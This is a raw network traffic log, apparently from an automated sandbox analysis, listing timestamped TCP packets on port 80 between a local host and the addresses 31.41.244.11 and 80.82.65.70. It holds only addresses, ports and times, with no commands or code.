Dec 13, 2024 01:51:40.584548950 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.584692955 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.587445974 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.587604046 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.587632895 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.587732077 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.590344906 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.590409994 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.590545893 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.590605974 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.593296051 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.593358040 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.593431950 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.593518972 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.596535921 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.596586943 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.596641064 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.599363089 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.599500895 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.599667072 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.599667072 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.602252960 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.602324963 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.602375984 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.602430105 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.605259895 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.605457067 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.605463982 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.605726957 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.608210087 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.608412981 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.608468056 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.608536959 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.611366987 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.611401081 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.611670971 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.611670971 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.614267111 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.614341974 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.614451885 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.614608049 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.617199898 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.617269993 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.617362976 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.617429018 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.620153904 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.620227098 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.620312929 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.621557951 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.623121977 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.623199940 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.623250961 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.623361111 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.626112938 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.626291037 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.629762888 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:40.702881098 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.702944994 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.702964067 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.703044891 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.703986883 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.704046011 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.704408884 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.704473019 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.704534054 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.704642057 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.706767082 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.706826925 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.706892967 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.706948042 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.709131956 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.709193945 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.709281921 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.709336996 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.711448908 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.711510897 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.711611032 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.711668015 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.713823080 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.713859081 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.713898897 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.713933945 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.716005087 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.716100931 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.716145992 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.716145992 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.718228102 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.718326092 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.718355894 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.718410015 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.720417976 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.720479965 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.720494032 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.720547915 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.722543001 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.722652912 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.722672939 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.722706079 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.724680901 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.724734068 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.724795103 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.724859953 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.726773977 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.726830959 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.726835966 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.726890087 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.728852034 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.728909016 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.728965044 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.729020119 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.730880976 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.730932951 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.730940104 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.731247902 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.732928038 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.732985020 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.733048916 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.733104944 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.734932899 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.735059977 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.735116005 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.736928940 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.737027884 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.737044096 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.737102032 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.738933086 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.739049911 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.739058018 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.739207983 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.740885973 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.741007090 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.741039991 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.741074085 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.742820024 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.742914915 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.742940903 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.742973089 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.744739056 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.744807005 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.744879007 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.744932890 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.746675968 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.746720076 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.746783972 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.746886969 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.748580933 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.748631001 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.748714924 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.748795986 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.749520063 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:40.750437975 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.750502110 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.750546932 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.750607967 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.752320051 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.752461910 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.752521992 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.754224062 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.754288912 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.754302979 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.754384041 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.756079912 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.756139994 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.756211042 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.756743908 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.757929087 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.758042097 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.758100033 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.759813070 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.759944916 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.760005951 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.761704922 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.761763096 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.761856079 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.761935949 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.763642073 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.763694048 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.763700008 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.763741970 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.765424013 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.765515089 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.765558958 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.765640020 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.767298937 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.767386913 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.767467022 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.768687963 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.769201040 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.769259930 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.769339085 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.769396067 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.771075964 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.771133900 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.771285057 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.771344900 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.772907019 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.773020983 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.773022890 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.773077011 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.774802923 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.774863958 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.774930954 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.774982929 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.776679993 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.776734114 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.776807070 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.776864052 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.778538942 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.778594971 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.778594971 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.778706074 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.780400038 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.780462980 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.780534983 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.780591011 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.782280922 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.782344103 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.782416105 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.782560110 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.784465075 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.784584045 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.784636021 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.784748077 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.786072969 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.786132097 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.786175013 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.786226988 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.788100004 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.788151026 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.788172960 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.788213015 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.789810896 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.789891005 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.789947033 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.792423964 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.792491913 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.792579889 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.793499947 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.793591022 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.793703079 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.793735027 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.793854952 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.795456886 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.795595884 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.795629025 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.796076059 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.797260046 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.797373056 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.797399044 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.797629118 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.799159050 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.799221039 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.799228907 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.799272060 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.801048994 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.801099062 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.801171064 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.801225901 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.802903891 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.803029060 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.803035021 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.803663015 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.804744005 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.804815054 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.895059109 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.895150900 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.895217896 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.895714998 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.895765066 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.895828962 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.895972013 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.897094965 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.897161007 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.897234917 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.897299051 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.898479939 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.898561954 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.898592949 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.898646116 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.899877071 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.899947882 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.899969101 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.899998903 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.901231050 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.901351929 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.901407003 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.902617931 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.902688026 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.902734995 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.902786970 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.904017925 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.904117107 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.904187918 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.905277014 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.905420065 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.905474901 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.906582117 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.906640053 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.906692028 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.906737089 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.907955885 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.908010960 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.908030033 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.908092976 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.909203053 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.909323931 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.909380913 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.910491943 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.910551071 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.910599947 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.910650015 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.911786079 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.911889076 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.911894083 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.911988974 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.913068056 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.913162947 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.913192034 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.913238049 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.914309978 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.914365053 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.914401054 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.914457083 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.915601015 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.915652037 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.915699959 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.915743113 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.916831970 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.916908026 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.916944981 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.917015076 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.918057919 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.918184042 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.918232918 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.919291019 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.919342995 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.919389963 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.919435978 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.920521021 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.920608044 CET	49839	80	192.168.2.4	31.41.244.11
